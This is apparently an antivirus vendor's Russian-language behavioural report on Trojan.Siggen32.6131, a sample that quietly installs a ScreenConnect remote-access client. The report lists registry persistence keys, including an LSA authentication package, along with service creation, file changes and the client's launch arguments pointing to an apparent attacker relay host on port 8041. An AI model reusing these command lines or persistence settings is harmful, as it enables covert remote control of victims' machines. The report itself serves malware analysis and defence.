Trojan.Siggen32.6131

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Classes\sc-6088cc1283c9f2c8\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (6088cc1283c9f2c8)\ScreenConnect.WindowsClient.exe" "%1"'
[HKLM\SYSTEM\CurrentControlSet\Control\Lsa] 'Authentication Packages' = 'msv1_0\n%ProgramFiles(x86)%\ScreenConnect Client (6088cc1283c9f2c8)\ScreenConnect.WindowsAuthenticationPackage.dll'

Устанавливает следующие настройки сервисов

[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (6088cc1283c9f2c8)] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (6088cc1283c9f2c8)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (6088cc1283c9f2c8)\ScreenConnect.ClientService.exe" "?e...

Создает следующие сервисы

'ScreenConnect Client (6088cc1283c9f2c8)' %ProgramFiles(x86)%\ScreenConnect Client (6088cc1283c9f2c8)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.clients.stats.hottubheadquarters.com&p=8041&s=339cf823-b5a8-4a98-a30c-e83...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\myapp.msi
%WINDIR%\installer\msif780.tmp-\screenconnect.installeractions.dll
%WINDIR%\installer\msif780.tmp-\microsoft.deployment.windowsinstaller.dll
%WINDIR%\installer\msif780.tmp-\microsoft.deployment.windowsinstaller.package.dll
%WINDIR%\installer\msif780.tmp-\screenconnect.core.dll
%WINDIR%\installer\msif780.tmp-\screenconnect.windows.dll
%WINDIR%\installer\msif780.tmp-\microsoft.deployment.compression.dll
%WINDIR%\installer\msif780.tmp-\microsoft.deployment.compression.cab.dll
%WINDIR%\installer\msif780.tmp-\customaction.config
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
%WINDIR%\temp\~df6b9b8848bad8a879.tmp
%WINDIR%\installer\sourcehash{7f6fb91f-8787-0fa7-02f3-f66bea31d39b}
%WINDIR%\temp\~df2f1ba6d721db463a.tmp
%WINDIR%\temp\~df38d9c20ed5b65946.tmp
%WINDIR%\temp\~dfd932922ac23bd94b.tmp
%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\screenconnect.client.dll
%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\screenconnect.clientservice.dll
%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\screenconnect.core.dll
%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\screenconnect.windows.dll
%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\screenconnect.windowsauthenticationpackage.dll
%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\screenconnect.windowsbackstageshell.exe
%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\screenconnect.windowsbackstageshell.exe.config
%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\screenconnect.windowscredentialprovider.dll
%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\screenconnect.windowsfilemanager.exe
%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\screenconnect.windowsfilemanager.exe.config
%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\screenconnect.clientservice.exe
%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\app.config
%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\client.en-us.resources
%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\client.override.resources
%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\client.resources
%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\system.config
%WINDIR%\installer\{7f6fb91f-8787-0fa7-02f3-f66bea31d39b}\defaulticon
%WINDIR%\temp\~df7e1fb563cc54a8e1.tmp
%WINDIR%\temp\~df3938ca9bc03ce827.tmp
%WINDIR%\temp\~df18cd41b53b4b749e.tmp
%WINDIR%\temp\~df4f3f1c1470b4396d.tmp
%WINDIR%\temp\~df99b85ef382b7a5ca.tmp
%WINDIR%\temp\~df80e8aafbea3b1e0e.tmp
%WINDIR%\temp\~df84f15cd346501296.tmp
%WINDIR%\temp\~df7953462a2720ccef.tmp
%WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (6088cc1283c9f2c8)\4is21zx4.newcfg
%TEMP%\content\4472-1952-screenconnect.windowsclient.exe-18-46-37-448.dump
%TEMP%\content\4472-1952-screenconnect.windowsclient.exe-18-46-37-519.dump
%TEMP%\content\4472-1952-screenconnect.windowsclient.exe-18-46-37-534.dump
%WINDIR%\temp\content\3388-4760-screenconnect.windowsclient.exe-18-46-41-193.dump
%WINDIR%\temp\content\3388-4760-screenconnect.windowsclient.exe-18-46-41-236.dump

Удаляет файлы, которые сам же создал

%WINDIR%\installer\msif780.tmp-\customaction.config
%WINDIR%\installer\msif780.tmp-\microsoft.deployment.compression.cab.dll
%WINDIR%\installer\msif780.tmp-\microsoft.deployment.compression.dll
%WINDIR%\installer\msif780.tmp-\microsoft.deployment.windowsinstaller.dll
%WINDIR%\installer\msif780.tmp-\microsoft.deployment.windowsinstaller.package.dll
%WINDIR%\installer\msif780.tmp-\screenconnect.core.dll
%WINDIR%\installer\msif780.tmp-\screenconnect.installeractions.dll
%WINDIR%\installer\msif780.tmp-\screenconnect.windows.dll
%TEMP%\myapp.msi

Перемещает следующие файлы

%WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (6088cc1283c9f2c8)\4is21zx4.newcfg в %WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (6088cc1283c9f2c8)\user.config

Сетевая активность

Подключается к

're###.######s.stats.hottubheadquarters.com':8041

TCP

Другие

'15#.#01.193.91':443
're###.######s.stats.hottubheadquarters.com':8041

UDP

DNS ASK re###.######s.stats.hottubheadquarters.com

Другое

Создает и запускает на исполнение

'%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=relay.clients.stats.hottubheadquarters.com&p=8041&s=339cf823-b5a8-4a98-a30c-e83b5914d95f&k=BgIAAACkAABSU0ExAAgAAAEAAQCFhYIY7mMYvUZDo5%2bo9JeJrDgGTXSABFQhHjPgsyIDOeLNNbOIQvR...
'%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\screenconnect.windowsclient.exe' "RunRole" "5378d3b4-e3d1-400a-a021-06f8485533e5" "User"
'%ProgramFiles(x86)%\screenconnect client (6088cc1283c9f2c8)\screenconnect.windowsclient.exe' "RunRole" "9fc17b1b-87fc-484f-8b57-192749eca9d0" "System"

Запускает на исполнение

'%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\MyApp.msi" /quiet /norestart
'%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\Installer\MSIF780.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_915656 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments